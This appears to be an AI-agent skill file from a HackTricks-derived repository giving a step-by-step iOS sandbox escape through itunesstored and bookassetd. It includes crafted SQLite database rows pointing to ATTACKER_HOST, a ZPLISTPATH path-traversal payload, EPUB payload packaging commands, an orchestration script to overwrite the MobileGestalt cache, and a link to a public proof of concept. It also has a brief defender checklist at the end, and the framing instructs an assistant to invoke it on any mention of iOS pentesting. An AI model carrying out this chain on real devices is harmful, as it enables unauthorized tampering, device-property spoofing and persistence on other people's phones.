Hacktricks-skills ios-itunesstored-bookassetd-sandbox-escape
iOS sandbox escape via itunesstored and bookassetd daemons. Use this skill whenever the user mentions iOS pentesting, sandbox escapes, itunesstored, bookassetd, AFC file access, SQLite database manipulation, or wants to exploit the downloads.28.sqlitedb/BLDatabaseManager.sqlite vulnerability chain. This works on iOS up to 26.2b1 and enables arbitrary file writes to mobile-owned paths via crafted SQLite databases and EPUB payloads.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape/SKILL.MDiOS itunesstored & bookassetd Sandbox Escape
Overview
This skill guides you through exploiting a two-stage sandbox escape in iOS that abuses
itunesstored (downloads manager) and bookassetd (Books/iBooks asset manager). Both daemons blindly trust user-writable SQLite metadata, allowing arbitrary file writes to most mobile-owned paths in /private/var/.
Key capabilities:
- Works on iOS up to at least 26.2b1 (tested on iPhone 12 / iOS 26.0.1)
- Requires only AFC-level access (USB file copy) or any foothold allowing SQLite replacement
- Survives reboots and enables tampering with system group caches like
systemgroup.com.apple.mobilegestaltcache - Can spoof device properties or persist configuration
Prerequisites
-
Local filesystem access to
and/var/mobile/Media/Downloads/
via:/var/mobile/Media/Books/- AFC clients (3uTools, i4.cn,
)afcclient - Any prior compromise allowing file writes
- AFC clients (3uTools, i4.cn,
-
HTTP server hosting attacker files (
,BLDatabaseManager.sqlite
, crafted EPUB)iTunesMetadata.plist -
Ability to reboot the device multiple times (each daemon reloads its database on boot)
-
Books system-group UUID (discovered via syslog - see Stage 1)
Stage 1 – Abusing downloads.28.sqlitedb
via itunesstored
downloads.28.sqlitedbitunesstoreditunesstored processes /var/mobile/Media/Downloads/downloads.28.sqlitedb. The asset table stores URL + destination metadata and is treated as trusted input. Crafting a row pointing to an attacker URL with local_path set to the Books SystemGroup causes itunesstored to download and overwrite the Books database on boot.
Step 1: Locate the Books SystemGroup UUID
# Collect syslog archive pymobiledevice3 syslog collect logs.logarchive # Open logs.logarchive in Console.app and search for: # bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite
Record the
<UUID> for use in the SQL payload.
Step 2: Craft the Malicious Database
Use the helper script to generate the malicious
downloads.28.sqlitedb:
python scripts/craft_downloads_db.py \ --uuid <BOOKS_SYSTEMGROUP_UUID> \ --attacker-host https://ATTACKER_HOST \ --output downloads.28.sqlitedb
Key fields in the INSERT:
: Attacker endpoint returning maliciousurlBLDatabaseManager.sqlite
: Books system-grouplocal_path
pathBLDatabaseManager.sqlite- Control flags: Keep defaults (
,asset_type='media'
)path_extension='epub'
Step 3: Deploy Stage 1
- Delete stale
entries to avoid races/var/mobile/Media/Downloads/* - Replace
with the crafted DB via AFCdownloads.28.sqlitedb - Reboot →
downloads the Stage 2 database and dropsitunesstored/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist - Copy that plist to
(Stage 2 expects it there)/var/mobile/Media/Books/iTunesMetadata.plist
Stage 2 – Abusing BLDatabaseManager.sqlite
via bookassetd
BLDatabaseManager.sqlitebookassetdbookassetd owns broader filesystem entitlements and trusts the ZBLDOWNLOADINFO table. By inserting a fake purchase row with attacker URLs and a path traversal in ZPLISTPATH, the daemon downloads your EPUB and unpacks metadata into any mobile-owned path reachable through ../../.. escape sequences.
Step 1: Craft the Malicious Books Database
Use the helper script to generate
BLDatabaseManager.sqlite:
python scripts/craft_books_db.py \ --attacker-host https://ATTACKER_HOST \ --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \ --output BLDatabaseManager.sqlite
Important fields:
: On-disk EPUB location (ZASSETPATH
)/var/mobile/Media/Books/asset.epub
/ZURL
: Attacker URLs hosting the EPUB and auxiliary plistZPERMLINK
: Path traversal base (e.g.,ZPLISTPATH
)../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library- Purchase metadata: Mimic legitimate entries so the daemon accepts the row
Step 2: Deploy Stage 2
- The malicious DB is already in place from Stage 1
- Reboot →
downloadsbookassetd
toasset.epub/var/mobile/Media/Books/ - Reboot again →
processes the asset, followsbookassetd
, and writes EPUB contents to the targeted SystemGroup pathZPLISTPATH
Crafting the EPUB Payload
bookassetd respects the EPUB ZIP format: mimetype must be the first uncompressed entry. Build a directory tree mirroring the desired path relative to ZPLISTPATH.
Structure
Caches/ ├── mimetype └── com.apple.MobileGestalt.plist
Build the Archive
Use the helper script:
python scripts/build_epub_payload.py \ --payload com.apple.MobileGestalt.plist \ --output hax.epub
Or manually:
# Create directory structure mkdir -p Caches echo -n 'application/epub+zip' > Caches/mimetype cp YOUR_PAYLOAD.plist Caches/com.apple.MobileGestalt.plist # Build EPUB with correct ordering zip -X0 hax.epub Caches/mimetype zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
: Must contain literalmimetypeapplication/epub+zip
: Attacker payload landing atCaches/com.apple.MobileGestalt.plist.../Library/Caches/com.apple.MobileGestalt.plist
Full Orchestration Workflow
- Prepare files on attacker HTTP server and craft both SQLite DBs with host/UUID-specific values
- Replace
on device and reboot → Stage 1 downloads maliciousdownloads.28.sqlitedbBLDatabaseManager.sqlite - Copy
toiTunesMetadata.plist
(repeat if daemon deletes it)/var/mobile/Media/Books/iTunesMetadata.plist - Reboot again →
downloadsbookassetd
using Stage 2 metadataasset.epub - Reboot a third time →
processes the asset, followsbookassetd
, writes EPUB contents to targetZPLISTPATH - Verify by reading the overwritten plist or observing MobileGestalt-derived property changes
Use the orchestration script for automation:
bash scripts/orchestrate_attack.sh \ --uuid <BOOKS_SYSTEMGROUP_UUID> \ --attacker-host https://ATTACKER_HOST \ --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \ --payload com.apple.MobileGestalt.plist
Tooling & Operational Notes
– Extract log archives to discover Books SystemGroup UUIDpymobiledevice3 syslog collect- Console.app – Filter for
to recover exact container pathbookassetd [Database]: Store is at ... - AFC clients (
, 3uTools, i4.cn) – Push/pull SQLite DBs and plist files over USB without jailbreakafcclient
– Enforce EPUB ordering constraints when packaging payloadszip- Public PoC – https://github.com/hanakim3945/bl_sbx ships baseline SQLite/EPUB templates
Detection & Mitigation
For defenders:
- Treat
anddownloads.28.sqlitedb
as untrusted inputBLDatabaseManager.sqlite - Validate
/local_path
stay within approved sandboxesZPLISTPATH - Reject fully qualified paths or traversal tokens
- Monitor for AFC writes replacing these databases
- Watch for unexpected downloads by
/itunesstored
after bootbookassetd - Harden
unpacking withbookassetd
before writingrealpath() - Restrict AFC/USB file copy or require user interaction for metadata replacement